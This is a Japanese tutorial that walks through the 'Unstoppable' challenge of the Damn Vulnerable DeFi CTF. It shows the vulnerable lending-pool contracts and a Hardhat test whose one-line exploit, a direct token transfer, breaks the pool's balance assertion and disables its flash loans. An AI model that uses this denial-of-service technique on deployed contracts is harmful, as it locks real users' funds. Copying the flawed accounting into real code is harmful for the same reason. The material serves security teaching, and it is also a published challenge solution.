ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。
まず、以下のコマンドを実行してください。
# リポジトリをクローン
git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
# ブランチを切り替え
git checkout v2.2.0
# 依存関係をインストール
yarn
test フォルダ内の *.challenge.js にあなたの解決策を記述し、その後 yarn run [チャレンジ名]
を実行します。エラーがなければ通過です。
まず、最初の問題「Unstoppable」を始めましょう。
問題の説明:
残高が 100 万 DVT トークンの貸出プールがあり、フラッシュローン機能を無料で提供しています。この貸出プールを攻撃し、その機能を無効にする方法が必要です。
この問題のスマートコントラクトは、2 つのファイルから構成されています。
UnstoppableLender.sol 貸出プールコントラクト
contract UnstoppableLender is ReentrancyGuard {
IERC20 public immutable damnValuableToken; // DVT トークンインスタンス
uint256 public poolBalance; // 現在のコントラクト内の DVT 残高
constructor(address tokenAddress) {
require(tokenAddress != address(0), "トークンアドレスはゼロであってはならない");
// DVT トークンアドレスからコントラクトインスタンスを作成
damnValuableToken = IERC20(tokenAddress);
}
// トークンをこのコントラクトに預け入れる
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "少なくとも1トークンを預け入れる必要があります");
// DVT トークンのスマートコントラクトの transferFrom メソッドを呼び出す
// コントラクト呼び出し者の DVT 残高から amount 数量をこのコントラクトに転送
damnValuableToken.transferFrom(msg.sender, address(this), amount);
// 残高を増加させる
poolBalance = poolBalance + amount;
}
// 提供されるフラッシュローンメソッド
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "少なくとも1トークンを借りる必要があります");
// このコントラクト内のトークン残高を取得
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
// 残高が借りた数量以上であることを確認
require(balanceBefore >= borrowAmount, "プール内のトークンが足りません");
// 記録された残高が実際の残高と等しいことを確認
assert(poolBalance == balanceBefore);
// トークンをコントラクト呼び出し者に転送
damnValuableToken.transfer(msg.sender, borrowAmount);
// コントラクト呼び出し者の receiveTokens メソッドを実行
IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
// トークンが返却されたことを確認
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "フラッシュローンが返済されていません");
}
}
ReceiverUnstoppable.sol フラッシュローンを実行するコントラクト
import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReceiverUnstoppable {
UnstoppableLender private immutable pool; // 貸出プールインスタンス
address private immutable owner;
constructor(address poolAddress) {
pool = UnstoppableLender(poolAddress);
owner = msg.sender;
}
// プールはフラッシュローン中にこの関数を呼び出します
function receiveTokens(address tokenAddress, uint256 amount) external {
// このメソッドの呼び出し者がプールアドレスであることを確認
require(msg.sender == address(pool), "送信者はプールでなければならない");
// トークンを msg.sender に返却
require(IERC20(tokenAddress).transfer(msg.sender, amount), "トークンの転送に失敗しました");
}
// フラッシュローンを実行
function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "オーナーのみがフラッシュローンを実行できます");
pool.flashLoan(amount);
}
}
スマートコントラクトは非常にシンプルで、貸出プールのコントラクトがあり、そこにトークンを預け入れることができ、フラッシュローン機能を提供しています。また、フラッシュローン機能を実行するコントラクトがあり、これが貸出プールコントラクトの flashLoan メソッドを呼び出してトークンを借り、コールバックメソッドで借りたトークンを返却します。
貸出プールの機能を無効にするためには、test/unstoppable/unstoppable.challenge.js ファイルに攻撃コードを記述する必要があります。
const { ethers } = require('hardhat')
const { expect } = require('chai')
describe('[Challenge] Unstoppable', function () {
let deployer, attacker, someUser
// プールには 1M * 10**18 トークンがあります
const TOKENS_IN_POOL = ethers.utils.parseEther('1000000')
const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100')
before(async function () {
/** シナリオのセットアップ - ここを変更する必要はありません */
// 3つのアカウントを生成
[deployer, attacker, someUser] = await ethers.getSigners()
// トークンコントラクトと貸出プールコントラクトを取得
// トークンコントラクトは contracts/DamnValuableToken.sol にあり、コンストラクタで deployer に type(uint256).max のトークンを与えます
const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer)
const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer)
// ローカルノードにトークンコントラクトと貸出プールコントラクトをデプロイ
this.token = await DamnValuableTokenFactory.deploy()
this.pool = await UnstoppableLenderFactory.deploy(this.token.address)
// deployer が貸出プールコントラクトに TOKENS_IN_POOL 数量のトークンを操作できるように承認
await this.token.approve(this.pool.address, TOKENS_IN_POOL)
// deployer の TOKENS_IN_POOL 数量のトークンを貸出プールに転入
await this.pool.depositTokens(TOKENS_IN_POOL)
// deployer の INITIAL_ATTACKER_TOKEN_BALANCE 数量のトークンを attacker アドレスに転入
await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE)
// アサーション:貸出プールにトークンが正しく転入されたことを確認
expect(
await this.token.balanceOf(this.pool.address)
).to.equal(TOKENS_IN_POOL)
// アサーション:attacker アドレスにトークンが正しく転入されたことを確認
expect(
await this.token.balanceOf(attacker.address)
).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE)
// フラッシュローンを実行するコントラクトを取得
const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser)
// コントラクトをデプロイ
this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address)
// someUser がコントラクトの executeFlashLoan メソッドを実行し、10 トークンを借りて返却
await this.receiverContract.executeFlashLoan(10)
})
it('Exploit', async function () {
/** ここにあなたの攻撃コードを記述 */
// attacker のアカウントから 1 トークンを貸出プールに転送
// このコードが攻撃を完了します
await this.token.connect(attacker).transfer(this.pool.address, 1)
})
after(async function () {
/** 成功条件 */
// もはやフラッシュローンを実行することはできません
await expect(
this.receiverContract.executeFlashLoan(10)
).to.be.reverted
})
})
このテストスクリプトは主に以下のことを行います。
- deployer から 1000000 トークンを貸出プールに転入
- deployer から 100 トークンを attacker アドレスに転入
- someUser がフラッシュローンで 10 トークンを借りて返却
- attacker から 1 トークンを貸出プールに転入
- 再度フラッシュローンを実行するとエラーが発生
なぜ以下のコードを実行するとフラッシュローン機能が無効になるのでしょうか。
await this.token.connect(attacker).transfer(this.pool.address, 1)
理由は、貸出プールコントラクトの flashloan メソッド内の assert(poolBalance == balanceBefore);
が、poolBalance の値が実際の残高と等しいことを期待しているからです。 depositTokens でトークンを預け入れると、poolBalance 変数は正しく計算されます。しかし、手動でトークンを転入すると、poolBalance 変数は期待通りに加算されません。そのため、貸出プールコントラクト内のトークンの実際の残高は poolBalance よりも大きくなり、フラッシュローン機能が無効になります。
最後に yarn unstoppable
を実行し、テストが通過します!